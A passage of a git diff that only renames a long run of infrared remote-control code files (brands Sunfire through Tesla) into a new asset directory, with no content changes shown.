a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sunfire/Surround Processor/184,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sunfire/Surround Processor/184,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sunfire/Surround Processor/184,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sunfire/Surround Processor/184,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sunfire/Surround Processor/184,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sunfire/Surround Processor/184,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sunfire/Surround Processor/184,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sunfire/Surround Processor/184,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sunfire/Surround Processor/184,3.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sunfire/Surround Processor/184,3.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sunfire/Surround Processor/184,3.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sunfire/Surround Processor/184,3.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sungale/Unknown_JX-2002/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sungale/Unknown_JX-2002/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Sungale/Unknown_JX-2002/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sungale/Unknown_JX-2002/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Supermax/Unknown_Supermax/128,38.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Supermax/Unknown_Supermax/128,38.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Supermax/Unknown_Supermax/128,38.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Supermax/Unknown_Supermax/128,38.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Supportplus/Unknown_SP-URC-LCD-F15/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Supportplus/Unknown_SP-URC-LCD-F15/10,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Supportplus/Unknown_SP-URC-LCD-F15/10,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Supportplus/Unknown_SP-URC-LCD-F15/10,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Syabas/Unknown_A-100/4,203.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Syabas/Unknown_A-100/4,203.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Syabas/Unknown_A-100/4,203.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Syabas/Unknown_A-100/4,203.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Symphonic/TV/41,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Symphonic/TV/41,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Symphonic/TV/41,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Symphonic/TV/41,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Symphonic/VCR/40,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Symphonic/VCR/40,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Symphonic/VCR/40,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Symphonic/VCR/40,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Symphonic/VCR/44,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Symphonic/VCR/44,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Symphonic/VCR/44,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Symphonic/VCR/44,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/TCM/Unknown_212845-CD/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCM/Unknown_212845-CD/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/TCM/Unknown_212845-CD/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCM/Unknown_212845-CD/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/TCM/Unknown_218681/5,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCM/Unknown_218681/5,5.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/TCM/Unknown_218681/5,5.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCM/Unknown_218681/5,5.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/TCM/Unknown_225925/24,233.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCM/Unknown_225925/24,233.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/TCM/Unknown_225925/24,233.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCM/Unknown_225925/24,233.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/TCM/Unknown_225926/35,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCM/Unknown_225926/35,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/TCM/Unknown_225926/35,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCM/Unknown_225926/35,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/TCM/Unknown_96518/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCM/Unknown_96518/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/TCM/Unknown_96518/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCM/Unknown_96518/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/TCM/Unknown_TCM/176,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCM/Unknown_TCM/176,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/TCM/Unknown_TCM/176,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCM/Unknown_TCM/176,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/TCUAG/Unknown_TVBOX/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCUAG/Unknown_TVBOX/6,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/TCUAG/Unknown_TVBOX/6,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TCUAG/Unknown_TVBOX/6,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/TEAC/DVD Player/163,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/DVD Player/163,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/TEAC/DVD Player/163,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/DVD Player/163,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/TEAC/DVD Player/175,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/DVD Player/175,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/TEAC/DVD Player/175,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/DVD Player/175,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/TEAC/Unknown_CD/134,97.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/Unknown_CD/134,97.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/TEAC/Unknown_CD/134,97.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/Unknown_CD/134,97.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-547/3,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-547/3,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-547/3,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-547/3,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-548/128,114.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-548/128,114.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-548/128,114.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-548/128,114.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-558/130,120.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-558/130,120.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-558/130,120.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-558/130,120.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-614/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-614/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-614/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-614/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-909/34,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-909/34,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-909/34,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-909/34,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EUR643880/160,10.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EUR643880/160,10.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EUR643880/160,10.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EUR643880/160,10.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EUR64798/160,10.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EUR64798/160,10.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EUR64798/160,10.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EUR64798/160,10.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EUR64799/160,10.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EUR64799/160,10.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EUR64799/160,10.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EUR64799/160,10.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EURXP300/160,10.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EURXP300/160,10.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EURXP300/160,10.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EURXP300/160,10.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_cd/160,10.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_cd/160,10.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_cd/160,10.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_cd/160,10.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_sl-ps670a/160,10.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_sl-ps670a/160,10.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_sl-ps670a/160,10.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_sl-ps670a/160,10.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_100TS035/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_100TS035/10,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_100TS035/10,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_100TS035/10,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_FBPNA35/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_FBPNA35/10,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_FBPNA35/10,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_FBPNA35/10,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_FBPVR335A/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_FBPVR335A/10,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_FBPVR335A/10,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_FBPVR335A/10,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_ST3002S/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_ST3002S/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_ST3002S/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_ST3002S/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_ST3004S/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_ST3004S/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_ST3004S/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_ST3004S/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_TECHNISAT/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_TECHNISAT/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_TECHNISAT/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_TECHNISAT/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI.conf/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI.conf/10,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI.conf/10,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI.conf/10,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI/10,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI/10,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI/10,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_st-6000e/131,121.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_st-6000e/131,121.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_st-6000e/131,121.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_st-6000e/131,121.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/TELEFUNKEN/AUDIO_IR3000/0,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TELEFUNKEN/AUDIO_IR3000/0,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/TELEFUNKEN/AUDIO_IR3000/0,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TELEFUNKEN/AUDIO_IR3000/0,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/TELEFUNKEN/TV_1127/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TELEFUNKEN/TV_1127/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/TELEFUNKEN/TV_1127/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TELEFUNKEN/TV_1127/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/TELEFUNKEN/TV_RC-1345/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TELEFUNKEN/TV_RC-1345/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/TELEFUNKEN/TV_RC-1345/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TELEFUNKEN/TV_RC-1345/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/TELEFUNKEN/VCR_FB1550/67,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TELEFUNKEN/VCR_FB1550/67,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/TELEFUNKEN/VCR_FB1550/67,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TELEFUNKEN/VCR_FB1550/67,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/TELEFUNKEN/VCR_RC1323-Video-B/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TELEFUNKEN/VCR_RC1323-Video-B/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/TELEFUNKEN/VCR_RC1323-Video-B/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TELEFUNKEN/VCR_RC1323-Video-B/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/TRIAX/Unknown_DVB/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TRIAX/Unknown_DVB/10,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/TRIAX/Unknown_DVB/10,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TRIAX/Unknown_DVB/10,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tab Electronics/Unknown_Kit/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tab Electronics/Unknown_Kit/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Tab Electronics/Unknown_Kit/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tab Electronics/Unknown_Kit/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tangent/Tangent-HiFi-II_Ampster-BT_CD_Tuner/6,248.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tangent/Tangent-HiFi-II_Ampster-BT_CD_Tuner/6,248.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Tangent/Tangent-HiFi-II_Ampster-BT_CD_Tuner/6,248.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tangent/Tangent-HiFi-II_Ampster-BT_CD_Tuner/6,248.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Technosonic/Unknown_DVD-204/16,237.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Technosonic/Unknown_DVD-204/16,237.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Technosonic/Unknown_DVD-204/16,237.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Technosonic/Unknown_DVD-204/16,237.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Technotrend/Unknown_DVB/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Technotrend/Unknown_DVB/21,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Technotrend/Unknown_DVB/21,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Technotrend/Unknown_DVB/21,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Technotrend/Unknown_Micro/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Technotrend/Unknown_Micro/21,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Technotrend/Unknown_Micro/21,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Technotrend/Unknown_Micro/21,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Technotrend/Unknown_S2400/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Technotrend/Unknown_S2400/21,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Technotrend/Unknown_S2400/21,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Technotrend/Unknown_S2400/21,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Technotrend/Unknown_Technotrend/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Technotrend/Unknown_Technotrend/21,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Technotrend/Unknown_Technotrend/21,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Technotrend/Unknown_Technotrend/21,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Technotrend/Unknown_remote/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Technotrend/Unknown_remote/21,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Technotrend/Unknown_remote/21,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Technotrend/Unknown_remote/21,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Teleka/Unknown_STR2060/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Teleka/Unknown_STR2060/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Teleka/Unknown_STR2060/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Teleka/Unknown_STR2060/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Telemann/PC HDTV Tuner Card/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Telemann/PC HDTV Tuner Card/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Telemann/PC HDTV Tuner Card/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Telemann/PC HDTV Tuner Card/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Televes/Unknown_145075/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Televes/Unknown_145075/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Televes/Unknown_145075/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Televes/Unknown_145075/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Televes/Unknown_711701/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Televes/Unknown_711701/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Televes/Unknown_711701/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Televes/Unknown_711701/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tensai/Unknown_5340fb/134,124.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tensai/Unknown_5340fb/134,124.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Tensai/Unknown_5340fb/134,124.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tensai/Unknown_5340fb/134,124.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Terratec/Internet Radio/4,243.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Internet Radio/4,243.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Terratec/Internet Radio/4,243.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Internet Radio/4,243.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Terratec/Unknown_1400/4,235.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Unknown_1400/4,235.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Terratec/Unknown_1400/4,235.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Unknown_1400/4,235.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Terratec/Unknown_Cinergy/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Unknown_Cinergy/134,107.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Terratec/Unknown_Cinergy/134,107.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Unknown_Cinergy/134,107.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Terratec/Unknown_Cinergy/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Unknown_Cinergy/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Terratec/Unknown_Cinergy/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Unknown_Cinergy/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Terratec/Unknown_Cinergy/4,235.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Unknown_Cinergy/4,235.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Terratec/Unknown_Cinergy/4,235.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Unknown_Cinergy/4,235.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Terratec/Unknown_M3PO/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Unknown_M3PO/10,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Terratec/Unknown_M3PO/10,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Unknown_M3PO/10,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Terratec/Unknown_home/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Unknown_home/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Terratec/Unknown_home/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Terratec/Unknown_home/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tesla/Unknown_32LCD70WDGHD/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tesla/Unknown_32LCD70WDGHD/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Tesla/Unknown_32LCD70WDGHD/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tesla/Unknown_32LCD70WDGHD/1,-1.ir diff --git 